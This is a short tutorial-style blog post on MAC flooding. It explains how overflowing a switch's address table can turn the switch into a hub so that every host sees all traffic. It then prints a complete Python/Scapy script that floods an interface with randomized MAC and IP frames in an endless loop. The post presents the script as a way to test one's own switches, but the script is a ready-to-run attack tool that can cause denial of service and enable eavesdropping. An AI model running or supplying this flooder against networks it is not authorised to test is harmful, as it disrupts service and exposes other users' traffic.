MAC-Flooder

brief

Switches like other computers have a limited size of member that’s also true for the table
holding MAC address information used by the switch to remember which MAC is on which port
as well as its internal ARP cache.Sometimes switches react a bit weirdly if their buffers
overflow. This can lead from denial of service up to giving up switching and behaving like
a normal hub. In hub mode the overall higher traffic raise is not the only problem you would
hav thus all connected computers could see the complete traffic without additional actions.
You should test how your switches react on these exceptions and that’s what the next script is
good for.It generates random MAC addresses and sends them to your switch until the buffer is full

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python
#coding:utf-8

import sys
from scapy.all import *

packet = Ether(src=RandMAC("*:*:*:*:*:*"),dst=RandMAC("*:*:*:*:*:*")) / \
IP(src=RandIP("*.*.*.*"), dst=RandIP("*.*.*.*")) / \
ICMP()

if len(sys.argv) < 2:
dev = "eth0"
else:
dev = sys.argv[1]

print "Flooding net with random packets on dev " + dev

sendp(packet, iface=dev, loop=1)

Summary

  1. Generate the packet.
  2. use the specific function to send the packet.

:) life is short, so use python!

文章目录
  1. 1. brief
  2. 2. Summary
,